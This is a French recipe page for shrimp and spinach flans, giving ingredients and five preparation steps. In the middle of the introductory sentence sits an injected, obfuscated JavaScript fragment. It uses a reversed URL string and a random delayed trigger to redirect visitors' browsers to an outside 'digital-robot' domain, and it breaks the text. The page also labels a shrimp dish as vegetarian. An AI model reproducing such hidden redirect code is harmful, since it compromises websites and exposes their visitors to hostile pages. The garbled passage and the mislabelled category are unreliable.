Flans aux crevettes

2016-12-19

Cuisine : Flans
Thématique : Végétarien
Niveau : Intermédiaire

Dans un récipient battez les œufs en omelette en incorporant la crème fraiche, salez légèrement, poivrez. Les épinards cuits, coupez-les en fines lamelles. Dans une poêle avec une noix de beurre sur feu moyen et tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant, faites chauffer les épinards pendant 3 minutes.

Ingrédients

Pour 4 personnes
6 œufs entiers
250g de crevettes roses cuites décortiquées
200 g d'épinards frais
1 cuillerée à soupe de crème fraiche
1 cuillerée à soupe de cerfeuil
1 cuillerée à soupe d'aneth
1 cuillerée à soupe de ciboulette ciselée sel – poivre

Préparation de la recette

Etape 1

Dans un récipient battez les œufs en omelette en incorporant la crème fraiche, salez légèrement, poivrez.

Etape 2

Les épinards cuits, coupez-les en fines lamelles.

Etape 3

Dans une poêle avec une noix de beurre sur feu moyen et tout en remuant, faites chauffer les épinards pendant 3 minutes, puis à ce moment incorporez les œufs les crevettes et toutes les herbes. Prolongez la cuisson de 3 minutes supplémentaire.

Etape 4

Beurrez les ramequins, répartissez le flan. Préchauffez le four à 150°C thermostat 5.

Etape 5

Enfournez et faites cuire dans un bain-marie pendant 35 minutes. A ce moment retirez-les du four, laissez refroidir, démoulez, dégustez avec une salade verte.